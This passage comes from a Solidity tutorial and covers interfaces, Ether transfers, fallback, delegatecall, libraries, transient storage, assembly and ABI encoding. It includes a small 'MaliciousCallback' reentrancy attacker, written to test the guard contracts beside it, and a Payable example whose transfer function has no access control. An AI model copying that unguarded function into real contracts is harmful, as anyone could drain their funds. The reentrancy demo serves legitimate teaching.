    function testPrivateFunc() public pure returns (string memory) {
        return privateFunc();
    }

    // Internal function can be called
    // - inside this contract
    // - inside contracts that inherit this contract
    function internalFunc() internal pure returns (string memory) {
        return "internal function called";
    }

    function testInternalFunc() public pure virtual returns (string memory) {
        return internalFunc();
    }

    // Public functions can be called
    // - inside this contract
    // - inside contracts that inherit this contract
    // - by other contracts and accounts
    function publicFunc() public pure returns (string memory) {
        return "public function called";
    }

    // External functions can only be called
    // - by other contracts and accounts
    function externalFunc() external pure returns (string memory) {
        return "external function called";
    }

    // This function will not compile since we're trying to call
    // an external function here.
    // function testExternalFunc() public pure returns (string memory) {
```

```
    //     return externalFunc();
    // }

    // State variables
    string private privateVar = "my private variable";
    string internal internalVar = "my internal variable";
    string public publicVar = "my public variable";
    // State variables cannot be external so this code won't compile.
    // string external externalVar = "my external variable";
}

contract Child is Base {
    // Inherited contracts do not have access to private functions
    // and state variables.
    // function testPrivateFunc() public pure returns (string memory) {
    //     return privateFunc();
    // }

    // Internal function can be called inside child contracts.
    function testInternalFunc() public pure override returns (string memory) {
        return internalFunc();
    }
}
```

1.26 Interface

An example of interface in Solidity

You can interact with other contracts by declaring an `Interface`.

Interface

- cannot have any functions implemented
- can inherit from other interfaces
- all declared functions must be external
- cannot declare a constructor
- cannot declare state variables

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract Counter {
    uint256 public count;

    function increment() external {
        count += 1;
    }
}

interface ICounter {
    function count() external view returns (uint256);

    function increment() external;
}

contract MyContract {
    function incrementCounter(address _counter) external {
        ICounter(_counter).increment();
    }

    function getCount(address _counter) external view returns (uint256) {
        return ICounter(_counter).count();
    }
}

// Uniswap example
interface UniswapV2Factory {
    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);
}

interface UniswapV2Pair {
    function getReserves()
        external
        view
        returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}

contract UniswapExample {
    address private factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
```

```
    address private dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
    address private weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

    function getTokenReserves() external view returns (uint256, uint256) {
        address pair = UniswapV2Factory(factory).getPair(dai, weth);
        (uint256 reserve0, uint256 reserve1,) =
            UniswapV2Pair(pair).getReserves();
        return (reserve0, reserve1);
    }
}
```

1.27 Payable

An example of how to use the keyword payable in Solidity

Functions and addresses declared `payable` can receive `ether` into the contract.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract Payable {
    // Payable address can send Ether via transfer or send
    address payable public owner;

    // Payable constructor can receive Ether
    constructor() payable {
        owner = payable(msg.sender);
    }

    // Function to deposit Ether into this contract.
    // Call this function along with some Ether.
    // The balance of this contract will be automatically updated.
    function deposit() public payable {}

    // Call this function along with some Ether.
    // The function will throw an error since this function is not payable.
    function notPayable() public {}

    // Function to withdraw all Ether from this contract.
    function withdraw() public {
        // get the amount of Ether stored in this contract
        uint256 amount = address(this).balance;

        // send all Ether to owner
        (bool success,) = owner.call{value: amount}("");
        require(success, "Failed to send Ether");
    }

    // Function to transfer Ether from this contract to address from input
    function transfer(address payable _to, uint256 _amount) public {
        // Note that "to" is declared as payable
        (bool success,) = _to.call{value: _amount}("");
        require(success, "Failed to send Ether");
    }
}
```

1.28 Sending Ether (transfer, send, call)

An example of sending Ether in Solidity

How to send Ether?

You can send Ether to other contracts by

- `transfer` (2300 gas, throws error)
- `send` (2300 gas, returns bool)
- `call` (forward all gas or set gas, returns bool)

How to receive Ether?

A contract receiving Ether must have at least one of the functions below

- `receive() external payable`
- `fallback() external payable`

`receive()` is called if `msg.data` is empty, otherwise `fallback()` is called.

Which method should you use?

`call` in combination with re-entrancy guard is the recommended method to use after December 2019.

Guard against re-entrancy by

- making all state changes before calling other contracts
- using re-entrancy guard modifier

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract ReceiveEther {
    /*
    Which function is called, fallback() or receive()?

           send Ether
               |
         msg.data is empty?
              / \
            yes  no
            /     \
    receive() exists?  fallback()
         /   \
        yes   no
        /      \
    receive()   fallback()
    */

    // Function to receive Ether. msg.data must be empty
    receive() external payable {}

    // Fallback function is called when msg.data is not empty
    fallback() external payable {}
```

```
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

contract SendEther {
    function sendViaTransfer(address payable _to) public payable {
        // This function is no longer recommended for sending Ether.
        _to.transfer(msg.value);
    }

    function sendViaSend(address payable _to) public payable {
        // Send returns a boolean value indicating success or failure.
        // This function is not recommended for sending Ether.
        bool sent = _to.send(msg.value);
        require(sent, "Failed to send Ether");
    }

    function sendViaCall(address payable _to) public payable {
        // Call returns a boolean value indicating success or failure.
        // This is the current recommended method to use.
        (bool sent, bytes memory data) = _to.call{value: msg.value}("");
        require(sent, "Failed to send Ether");
    }
}
```

1.29 Fallback

Example of how to use fallback in Solidity

`fallback` is a special function that is executed either when

- a function that does not exist is called or
- Ether is sent directly to a contract but `receive()` does not exist or `msg.data` is not empty

To better understand the conditions under which Solidity calls the `receive` or `fallback` function, refer to the flowchart below:

```
                send Ether
                    |
          msg.data is empty?
               /          \
            yes            no
             |              |
    receive() exists?     fallback()
        /        \
     yes          no
      |            |
  receive()     fallback()
```

`fallback` has a 2300 gas limit when called by `transfer` or `send`.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract Fallback {
    event Log(string func, uint256 gas);

    // Fallback function must be declared as external.
    fallback() external payable {
        // send / transfer (forwards 2300 gas to this fallback function)
        // call (forwards all of the gas)
        emit Log("fallback", gasleft());
    }

    // Receive is a variant of fallback that is triggered when msg.data is empty
    receive() external payable {
        emit Log("receive", gasleft());
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

contract SendToFallback {
    function transferToFallback(address payable _to) public payable {
        _to.transfer(msg.value);
    }

    function callFallback(address payable _to) public payable {
        (bool sent,) = _to.call{value: msg.value}("");
```

```
        require(sent, "Failed to send Ether");
    }
}
```

`fallback` can optionally take `bytes` for input and output

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

// TestFallbackInputOutput -> FallbackInputOutput -> Counter
contract FallbackInputOutput {
    address immutable target;

    constructor(address _target) {
        target = _target;
    }

    fallback(bytes calldata data) external payable returns (bytes memory) {
        (bool ok, bytes memory res) = target.call{value: msg.value}(data);
        require(ok, "call failed");
        return res;
    }
}

contract Counter {
    uint256 public count;

    function get() external view returns (uint256) {
        return count;
    }

    function inc() external returns (uint256) {
        count += 1;
        return count;
    }
}

contract TestFallbackInputOutput {
    event Log(bytes res);

    function test(address _fallback, bytes calldata data) external {
        (bool ok, bytes memory res) = _fallback.call(data);
        require(ok, "call failed");
        emit Log(res);
    }

    function getTestData() external pure returns (bytes memory, bytes memory) {
        return
            (abi.encodeCall(Counter.get, ()), abi.encodeCall(Counter.inc, ()));
    }
}
```

1.30 Call

In Solidity call is a low level function to interact with other contracts

`call` is a low level function to interact with other contracts.

This is the recommended method to use when you're just sending Ether via calling the `fallback` function.

However it is not the recommended way to call existing functions.

Few reasons why low-level call is not recommended

- Reverts are not bubbled up
- Type checks are bypassed
- Function existence checks are omitted

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract Receiver {
    event Received(address caller, uint256 amount, string message);

    fallback() external payable {
        emit Received(msg.sender, msg.value, "Fallback was called");
    }

    function foo(string memory _message, uint256 _x)
        public
        payable
        returns (uint256)
    {
        emit Received(msg.sender, msg.value, _message);

        return _x + 1;
    }
}

contract Caller {
    event Response(bool success, bytes data);

    // Let's imagine that contract Caller does not have the source code for the
    // contract Receiver, but we do know the address of contract Receiver and the function to call.
    function testCallFoo(address payable _addr) public payable {
        // You can send ether and specify a custom gas amount
        (bool success, bytes memory data) = _addr.call{
            value: msg.value,
            gas: 5000
        }(abi.encodeWithSignature("foo(string,uint256)", "call foo", 123));

        emit Response(success, data);
    }

    // Calling a function that does not exist triggers the fallback function.
    function testCallDoesNotExist(address payable _addr) public payable {
        (bool success, bytes memory data) = _addr.call{value: msg.value}(
            abi.encodeWithSignature("doesNotExist()")
        );
```

```
        emit Response(success, data);
    }
}
```

1.31 Delegatecall

Example of how to use delegatecall in Solidity

`delegatecall` is a low level function similar to `call`.

When contract `A` executes `delegatecall` to contract `B`, `B`'s code is executed

with contract `A`'s storage, `msg.sender` and `msg.value`.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

// NOTE: Deploy this contract first
contract B {
    // NOTE: storage layout must be the same as contract A
    uint256 public num;
    address public sender;
    uint256 public value;

    function setVars(uint256 _num) public payable {
        num = _num;
        sender = msg.sender;
        value = msg.value;
    }
}

contract A {
    uint256 public num;
    address public sender;
    uint256 public value;

    event DelegateResponse(bool success, bytes data);
    event CallResponse(bool success, bytes data);

    // Function using delegatecall
    function setVarsDelegateCall(address _contract, uint256 _num)
        public
        payable
    {
        // A's storage is set; B's storage is not modified.
        (bool success, bytes memory data) = _contract.delegatecall(
            abi.encodeWithSignature("setVars(uint256)", _num)
        );

        emit DelegateResponse(success, data);
    }

    // Function using call
    function setVarsCall(address _contract, uint256 _num) public payable {
        // B's storage is set; A's storage is not modified.
        (bool success, bytes memory data) = _contract.call{value: msg.value}(
            abi.encodeWithSignature("setVars(uint256)", _num)
        );

        emit CallResponse(success, data);
    }
}
```

1.32 Calling Other Contract

In Solidity, contract can call other contracts in several ways

Contract can call other contracts in 2 ways.

The easiest way is to just call it, like `A.foo(x, y, z)`.

Another way to call other contracts is to use the low-level `call`.

This method is not recommended.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract Callee {
    uint256 public x;
    uint256 public value;

    function setX(uint256 _x) public returns (uint256) {
        x = _x;
        return x;
    }

    function setXandSendEther(uint256 _x)
        public
        payable
        returns (uint256, uint256)
    {
        x = _x;
        value = msg.value;

        return (x, value);
    }
}

contract Caller {
    function setX(Callee _callee, uint256 _x) public {
        uint256 x = _callee.setX(_x);
    }

    function setXFromAddress(address _addr, uint256 _x) public {
        Callee callee = Callee(_addr);
        callee.setX(_x);
    }

    function setXandSendEther(Callee _callee, uint256 _x) public payable {
        (uint256 x, uint256 value) =
            _callee.setXandSendEther{value: msg.value}(_x);
    }
}
```

1.33 Contract that Creates other Contracts

Learn how to create new contracts from inside of a contract with Solidity

Contracts can be created by other contracts using the `new` keyword. Since 0.8.0, `new` keyword supports `create2` feature by specifying `salt` options.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract Car {
    address public owner;
    string public model;
    address public carAddr;

    constructor(address _owner, string memory _model) payable {
        owner = _owner;
        model = _model;
        carAddr = address(this);
    }
}

contract CarFactory {
    Car[] public cars;

    function create(address _owner, string memory _model) public {
        Car car = new Car(_owner, _model);
        cars.push(car);
    }

    function createAndSendEther(address _owner, string memory _model)
        public
        payable
    {
        Car car = (new Car){value: msg.value}(_owner, _model);
        cars.push(car);
    }

    function create2(address _owner, string memory _model, bytes32 _salt)
        public
    {
        Car car = (new Car){salt: _salt}(_owner, _model);
        cars.push(car);
    }

    function create2AndSendEther(
        address _owner,
        string memory _model,
        bytes32 _salt
    ) public payable {
        Car car = (new Car){value: msg.value, salt: _salt}(_owner, _model);
        cars.push(car);
    }

    function getCar(uint256 _index)
        public
        view
        returns (
            address owner,
            string memory model,
```

```
            address carAddr,
            uint256 balance
        )
    {
        Car car = cars[_index];

        return (car.owner(), car.model(), car.carAddr(), address(car).balance);
    }
}
```

1.34 Import

Learn how to import other Solidity files

You can import local and external files in Solidity.

Local

Here is our folder structure.

```
■■■ Import.sol
■■■ Foo.sol
```

Foo.sol

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

struct Point {
    uint256 x;
    uint256 y;
}

error Unauthorized(address caller);

function add(uint256 x, uint256 y) pure returns (uint256) {
    return x + y;
}

contract Foo {
    string public name = "Foo";
}
```

Import.sol

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

// import Foo.sol from current directory
import "./Foo.sol";

// import {symbol1 as alias, symbol2} from "filename";
import {Unauthorized, add as func, Point} from "./Foo.sol";

contract Import {
    // Initialize Foo.sol
    Foo public foo = new Foo();

    // Test Foo.sol by getting its name.
    function getFooName() public view returns (string memory) {
        return foo.name();
    }
}
```

External

You can also import from GitHub by simply copying the url

```
// https://github.com/owner/repo/blob/branch/path/to/Contract.sol
import "https://github.com/owner/repo/blob/branch/path/to/Contract.sol";

// Example import ECDSA.sol from openzeppelin-contract repo, release-v4.5 branch
// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA
```

1.35 Library

Example of how to write and use libraries in your Solidity code

Libraries are similar to contracts, but you can't declare any state variables and you can't send ether.

A library is embedded into the contract if all library functions are internal.

Otherwise the library must be deployed and then linked before the contract is deployed.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

library Math {
    function sqrt(uint256 y) internal pure returns (uint256 z) {
        if (y > 3) {
            z = y;
            uint256 x = y / 2 + 1;
            while (x < z) {
                z = x;
                x = (y / x + x) / 2;
            }
        } else if (y != 0) {
            z = 1;
        }
        // else z = 0 (default value)
    }
}

contract TestMath {
    function testSquareRoot(uint256 x) public pure returns (uint256) {
        return Math.sqrt(x);
    }
}

// Array function to delete element at index and re-organize the array
// so that there are no gaps between the elements.
library Array {
    function remove(uint256[] storage arr, uint256 index) public {
        // Move the last element into the place to delete
        require(arr.length > 0, "Can't remove from empty array");
        arr[index] = arr[arr.length - 1];
        arr.pop();
    }
}

contract TestArray {
    using Array for uint256[];

    uint256[] public arr;

    function testArrayRemove() public {
        for (uint256 i = 0; i < 3; i++) {
            arr.push(i);
        }

        arr.remove(1);

        assert(arr.length == 2);
```

```
        assert(arr[0] == 0);
        assert(arr[1] == 2);
    }
}
```

1.36 Hashing with Keccak256

Example of hashing using Keccak256 in Solidity

`keccak256` computes the Keccak-256 hash of the input.

Some use cases are:

- Creating a deterministic unique ID from an input
- Commit-Reveal scheme
- Compact cryptographic signature (by signing the hash instead of a larger input)

Solidity provides two methods for encoding data:

- `abi.encode`:

- Encodes data into bytes with padding - Preserves all data information - Safer when dealing with dynamic types - Produces a longer output due to padding

- `abi.encodePacked`:

- Performs packed encoding (compressed) - Produces a shorter output than `abi.encode` - More gas efficient - Risk of hash collisions with dynamic types (`collision` function)

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract HashFunction {
    function hash(string memory _text, uint256 _num, address _addr)
        public
        pure
        returns (bytes32)
    {
        return keccak256(abi.encodePacked(_text, _num, _addr));
    }

    // Example of hash collision
    // Hash collision can occur when you pass more than one dynamic data type
    // to abi.encodePacked. In such case, you should use abi.encode instead.
    function collision(string memory _text, string memory _anotherText)
        public
        pure
        returns (bytes32)
    {
        // encodePacked(AAA, BBB) -> AAABBB
        // encodePacked(AA, ABBB) -> AAABBB
        return keccak256(abi.encodePacked(_text, _anotherText));
    }
}

contract GuessTheMagicWord {
    bytes32 public answer =
        0x60298f78cc0b47170ba79c10aa3851d7648bd96f2f8e46a19dbc777c36fb0c00;

    // Magic word is "Solidity"
    function guess(string memory _word) public view returns (bool) {
        return keccak256(abi.encodePacked(_word)) == answer;
    }
}
```

1.37 Function Selector

Example of how function selectors are computed

When a function is called, the first 4 bytes of `calldata` specifies which function to call.

This 4 bytes is called a function selector.

Take, for example, this code below. It uses `call` to execute `transfer` on a contract at the address `addr`.

```
addr.call(abi.encodeWithSignature("transfer(address,uint256)", 0xSomeAddress, 123))
```

The first 4 bytes returned from `abi.encodeWithSignature(....)` is the function selector.

Perhaps you can save a tiny amount of gas if you precompute and inline the function selector in your code?

Here is how the function selector is computed.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract FunctionSelector {
    /*
    "transfer(address,uint256)"
    0xa9059cbb
    "transferFrom(address,address,uint256)"
    0x23b872dd
    */
    function getSelector(string calldata _func)
        external
        pure
        returns (bytes4)
    {
        return bytes4(keccak256(bytes(_func)));
    }
}
```

1.38 Transient Storage

transient storage

Data stored in transient storage is cleared out after transaction.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

// Make sure EVM version and VM set to Cancun

// Storage - data is stored on the blockchain
// Memory - data is cleared out after a function call
// Transient storage - data is cleared out after a transaction

interface ITest {
    function val() external view returns (uint256);
    function test() external;
}

// Contract for testing TestStorage and TestTransientStorage
// Shows the difference between normal storage and transient storage
contract Callback {
    uint256 public val;

    fallback() external {
        val = ITest(msg.sender).val();
    }

    function test(address target) external {
        ITest(target).test();
    }
}

contract TestStorage {
    uint256 public val;

    function test() public {
        val = 123;
        bytes memory b = "";
        msg.sender.call(b);
    }
}

contract TestTransientStorage {
    bytes32 constant SLOT = 0;

    function test() public {
        assembly {
            tstore(SLOT, 321)
        }
        bytes memory b = "";
        msg.sender.call(b);
    }

    function val() public view returns (uint256 v) {
        assembly {
            v := tload(SLOT)
        }
    }
```

```
}

// Contract for testing reentrancy protection
contract MaliciousCallback {
    uint256 public count = 0;

    // Try to reenter the target contract multiple times
    fallback() external {
        ITest(msg.sender).test();
    }

    // Test function to initiate reentrance attack
    function attack(address _target) external {
        // First call to test()
        ITest(_target).test();
    }
}

contract ReentrancyGuard {
    bool private locked;

    modifier lock() {
        require(!locked);
        locked = true;
        _;
        locked = false;
    }

    // 27587 gas
    function test() public lock {
        // Ignore call error
        bytes memory b = "";
        msg.sender.call(b);
    }
}

contract ReentrancyGuardTransient {
    bytes32 constant SLOT = 0;

    modifier lock() {
        assembly {
            if tload(SLOT) { revert(0, 0) }
            tstore(SLOT, 1)
        }
        _;
        assembly {
            tstore(SLOT, 0)
        }
    }

    // 4909 gas
    function test() external lock {
        // Ignore call error
        bytes memory b = "";
        msg.sender.call(b);
    }
}
```

1.39 Assembly Variable

Example of how to declare variable inside assembly

Example of how to declare variables inside `assembly`

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract AssemblyVariable {
    function yul_let() public pure returns (uint256 z) {
        assembly {
            // The language used for assembly is called Yul
            // Local variables
            let x := 123
            z := 456
        }
    }
}
```

1.40 Assembly Conditional Statements

Example of conditional statements in assembly

Example of conditional statements in `assembly`

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract AssemblyIf {
    function yul_if(uint256 x) public pure returns (uint256 z) {
        assembly {
            // if condition = 1 { code }
            // no else
            // if 0 { z := 99 }
            // if 1 { z := 99 }
            if lt(x, 10) { z := 99 }
        }
    }

    function yul_switch(uint256 x) public pure returns (uint256 z) {
        assembly {
            switch x
            case 1 { z := 10 }
            case 2 { z := 20 }
            default { z := 0 }
        }
    }
}
```

1.41 Assembly Loop

Example of loop in assembly

Example of loop in assembly

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract AssemblyLoop {
    function yul_for_loop() public pure returns (uint256 z) {
        assembly {
            for { let i := 0 } lt(i, 10) { i := add(i, 1) } { z := add(z, 1) }
        }
    }

    function yul_while_loop() public pure returns (uint256 z) {
        assembly {
            let i := 0
            for {} lt(i, 5) {} {
                i := add(i, 1)
                z := add(z, 1)
            }
        }
    }
}
```

1.42 Assembly Math

Example of math in assembly

Example of math in `assembly`

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract AssemblyMath {
    function yul_add(uint256 x, uint256 y) public pure returns (uint256 z) {
        assembly {
            z := add(x, y)
            if lt(z, x) { revert(0, 0) }
        }
    }

    function yul_mul(uint256 x, uint256 y) public pure returns (uint256 z) {
        assembly {
            switch x
            case 0 { z := 0 }
            default {
                z := mul(x, y)
                if iszero(eq(div(z, x), y)) { revert(0, 0) }
            }
        }
    }

    // Round to nearest multiple of b
    function yul_fixed_point_round(uint256 x, uint256 b)
        public
        pure
        returns (uint256 z)
    {
        assembly {
            // b = 100
            // x = 90
            // z = 90 / 100 * 100 = 0, want z = 100
            // z := mul(div(x, b), b)

            let half := div(b, 2)
            z := add(x, half)
            z := mul(div(z, b), b)
            // x = 90
            // half = 50
            // z = 90 + 50 = 140
            // z = 140 / 100 * 100 = 100
        }
    }
}
```

1.43 Assembly Error

Example of error in assembly

Example of error in `assembly`

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract AssemblyError {
    function yul_revert(uint256 x) public pure {
        assembly {
            // revert(p, s) - end execution
            //                revert state changes
            //                return data mem[p…(p+s))
            if gt(x, 10) { revert(0, 0) }
        }
    }
}
```

1.44 ABI Encode

ABI encode

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

interface IERC20 {
    function transfer(address, uint256) external;
}

contract Token {
    function transfer(address, uint256) external {}
}

contract AbiEncode {
    function test(address _contract, bytes calldata data) external {
        (bool ok,) = _contract.call(data);
        require(ok, "call failed");
    }

    function encodeWithSignature(address to, uint256 amount)
        external
        pure
        returns (bytes memory)
    {
        // Typo is not checked - "transfer(address, uint)"
        return abi.encodeWithSignature("transfer(address,uint256)", to, amount);
    }

    function encodeWithSelector(address to, uint256 amount)
        external
        pure
        returns (bytes memory)
    {
        // Type is not checked - (IERC20.transfer.selector, true, amount)
        return abi.encodeWithSelector(IERC20.transfer.selector, to, amount);
    }

    function encodeCall(address to, uint256 amount)
        external
        pure
        returns (bytes memory)
    {
        // Typo and type errors will not compile
        return abi.encodeCall(IERC20.transfer, (to, amount));
    }
}
```

1.45 ABI Decode

ABI decode bytes

`abi.encode` encodes data into `bytes`.

`abi.decode` decodes `bytes` back into data.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract AbiDecode {
    struct MyStruct {
        string name;
        uint256[2] nums;
    }

    function encode(
        uint256 x,
        address addr,
        uint256[] calldata arr,
        MyStruct calldata myStruct
    ) external pure returns (bytes memory) {
        return abi.encode(x, addr, arr, myStruct);
    }

    function decode(bytes calldata data)
        external
        pure
        returns (
            uint256 x,
            address addr,
            uint256[] memory arr,
            MyStruct memory myStruct
        )
    {
        // (uint x, address addr, uint[] memory arr, MyStruct myStruct) = ...
        (x, addr, arr, myStruct) =
            abi.decode(data, (uint256, address, uint256[], MyStruct));
    }
}
```

1.46 Shadowing Inherited State Variables

An example of shadowing state variables by inheritance

Unlike functions, state variables cannot be overridden by redeclaring it in the child contract.

Let's learn how to correctly override inherited state variables.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract A {
    string public name = "Contract A";

    function getName() public view returns (string memory) {
        return name;
    }
}

// Shadowing is disallowed in Solidity 0.6
// This will not compile
// contract B is A {
//     string public name = "Contract B";
// }

contract C is A {
    // This is the correct way to override inherited state variables.
    constructor() {
        name = "Contract C";
    }

    // C.getName returns "Contract C"
}
```

1.47 Calling Parent Contracts

An example of calling parent contracts in Solidity

Parent contracts can be called directly, or by using the keyword `super`.

By using the keyword `super`, all of the immediate parent contracts will be called.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/* Inheritance tree
   A
 /  \
B   C
 \ /
  D
*/

contract A {
    // This is called an event. You can emit events from your function
    // and they are logged into the transaction log.
    // In our case, this will be useful for tracing function calls.
    event Log(string message);

    function foo() public virtual {
        emit Log("A.foo called");
    }

    function bar() public virtual {
        emit Log("A.bar called");
    }
}

contract B is A {
    function foo() public virtual override {
        emit Log("B.foo called");
        A.foo();
    }

    function bar() public virtual override {
        emit Log("B.bar called");
        super.bar();
    }
}

contract C is A {
    function foo() public virtual override {
        emit Log("C.foo called");
        A.foo();
    }

    function bar() public virtual override {
        emit Log("C.bar called");
        super.bar();
    }
}

contract D is B, C {
    // Try:
```

```
    // - Call D.foo and check the transaction logs.
    //   Although D inherits A, B and C, it only called C and then A.
    // - Call D.bar and check the transaction logs
    //   D called C, then B, and finally A.
    //   Although super was called twice (by B and C) it only called A once.

    function foo() public override(B, C) {
        super.foo();
    }

    function bar() public override(B, C) {
        super.bar();
    }
}
```

1.48 Try Catch

An example of try / catch in Solidity

`try / catch` can only catch errors from external function calls and contract creation.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

// External contract used for try / catch examples
contract Foo {
    address public owner;

    constructor(address _owner) {
        require(_owner != address(0), "invalid address");
        assert(_owner != 0x0000000000000000000000000000000000000001);
        owner = _owner;
    }

    function myFunc(uint256 x) public pure returns (string memory) {
        require(x != 0, "require failed");
        return "my func was called";
    }
}

contract Bar {
    event Log(string message);
    event LogBytes(bytes data);

    Foo public foo;

    constructor() {
        // This Foo contract is used for example of try catch with external call
        foo = new Foo(msg.sender);
    }

    // Example of try / catch with external call
    // tryCatchExternalCall(0) => Log("external call failed")
    // tryCatchExternalCall(1) => Log("my func was called")
    function tryCatchExternalCall(uint256 _i) public {
        try foo.myFunc(_i) returns (string memory result) {
            emit Log(result);
        } catch {
            emit Log("external call failed");
        }
    }

    // Example of try / catch with contract creation
    // tryCatchNewContract(0x0000000000000000000000000000000000000000) => Log("invalid address")
    // tryCatchNewContract(0x0000000000000000000000000000000000000001) => LogBytes("")
    // tryCatchNewContract(0x0000000000000000000000000000000000000002) => Log("Foo created")
    function tryCatchNewContract(address _owner) public {
        try new Foo(_owner) returns (Foo foo) {
            // you can use variable foo here
            emit Log("Foo created");
        } catch Error(string memory reason) {
            // catch failing revert() and require()
            emit Log(reason);
        } catch (bytes memory reason) {
            // catch failing assert()
```

```
            emit LogBytes(reason);
        }
    }
}
```

1.49 Unchecked Math

An example of unchecked math in Solidity

Overflow and underflow of numbers in Solidity 0.8 throw an error. This can be disabled by using `unchecked`.

Disabling overflow / underflow check saves gas.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract UncheckedMath {
    function add(uint256 x, uint256 y) external pure returns (uint256) {
        // 22291 gas
        // return x + y;

        // 22103 gas
        unchecked {
            return x + y;
        }
    }

    function sub(uint256 x, uint256 y) external pure returns (uint256) {
        // 22329 gas
        // return x - y;

        // 22147 gas
        unchecked {
            return x - y;
        }
    }

    function sumOfCubes(uint256 x, uint256 y) external pure returns (uint256) {
        // Wrap complex math logic inside unchecked
        unchecked {
            uint256 x3 = x * x * x;
            uint256 y3 = y * y * y;

            return x3 + y3;
        }
    }
}
```

1.50 User Defined Value Types

User defined value types

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

// Code copied from optimism
// https://github.com/ethereum-optimism/optimism/blob/develop/packages/contracts-bedrock/src/dispute/lib/LibUDT.sol

type Duration is uint64;

type Timestamp is uint64;

type Clock is uint128;

library LibClock {
    function wrap(Duration _duration, Timestamp _timestamp)
        internal
        pure
        returns (Clock clock_)
    {
        assembly {
            // data | Duration | Timestamp
            // bit  | 0 ... 63 | 64 ... 127
            clock_ := or(shl(0x40, _duration), _timestamp)
        }
    }

    function duration(Clock _clock)
        internal
        pure
        returns (Duration duration_)
    {
        assembly {
            duration_ := shr(0x40, _clock)
        }
    }

    function timestamp(Clock _clock)
        internal
        pure
        returns (Timestamp timestamp_)
    {
        assembly {
            timestamp_ := shr(0xC0, shl(0xC0, _clock))
        }
    }
}

// Clock library without user defined value type
library LibClockBasic {
    function wrap(uint64 _duration, uint64 _timestamp)
        internal
        pure
        returns (uint128 clock)
    {
        assembly {
            clock := or(shl(0x40, _duration), _timestamp)
        }
```

```
    }
}

contract Examples {
    function example_no_uvdt() external view {
        // Without UDVT
        uint128 clock;
        uint64 d = 1;
        uint64 t = uint64(block.timestamp);
        clock = LibClockBasic.wrap(d, t);
        // Oops! wrong order of inputs but still compiles
        clock = LibClockBasic.wrap(t, d);
    }

    function example_uvdt() external view {
        // Turn value type into user defined value type
        Duration d = Duration.wrap(1);
        Timestamp t = Timestamp.wrap(uint64(block.timestamp));
        // Turn user defined value type back into primitive value type
        uint64 d_u64 = Duration.unwrap(d);
        uint64 t_u64 = Timestamp.unwrap(t);

        // LibClock example
        Clock clock = Clock.wrap(0);
        clock = LibClock.wrap(d, t);
        // Oops! wrong order of inputs
        // This will not compile
        // clock = LibClock.wrap(t, d);
    }
}
```

1.51 Bitwise Operators

Learn about bitwise operators in Solidity

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract BitwiseOps {
    // x     = 1110 = 8 + 4 + 2 + 0 = 14
    // y     = 1011 = 8 + 0 + 2 + 1 = 11
    // x & y = 1010 = 8 + 0 + 2 + 0 = 10
    function and(uint256 x, uint256 y) external pure returns (uint256) {
        return x & y;
    }

    // x     = 1100 = 8 + 4 + 0 + 0 = 12
    // y     = 1001 = 8 + 0 + 0 + 1 = 9
    // x | y = 1101 = 8 + 4 + 0 + 1 = 13
    function or(uint256 x, uint256 y) external pure returns (uint256) {
        return x | y;
    }

    // x     = 1100 = 8 + 4 + 0 + 0 = 12
    // y     = 0101 = 0 + 4 + 0 + 1 = 5
    // x ^ y = 1001 = 8 + 0 + 0 + 1 = 9
    function xor(uint256 x, uint256 y) external pure returns (uint256) {
        return x ^ y;
    }

    // x  = 00001100 =   0 +  0 +  0 +  0 + 8 + 4 + 0 + 0 = 12
    // ~x = 11110011 = 128 + 64 + 32 + 16 + 0 + 0 + 2 + 1 = 243
    function not(uint8 x) external pure returns (uint8) {
        return ~x;
    }

    // 1 << 0 = 0001 --> 0001 = 1
    // 1 << 1 = 0001 --> 0010 = 2
    // 1 << 2 = 0001 --> 0100 = 4
    // 1 << 3 = 0001 --> 1000 = 8
    // 3 << 2 = 0011 --> 1100 = 12
    function shiftLeft(uint256 x, uint256 bits)
        external
        pure
        returns (uint256)
    {
        return x << bits;
    }

    // 8  >> 0 = 1000 --> 1000 = 8
    // 8  >> 1 = 1000 --> 0100 = 4
    // 8  >> 2 = 1000 --> 0010 = 2
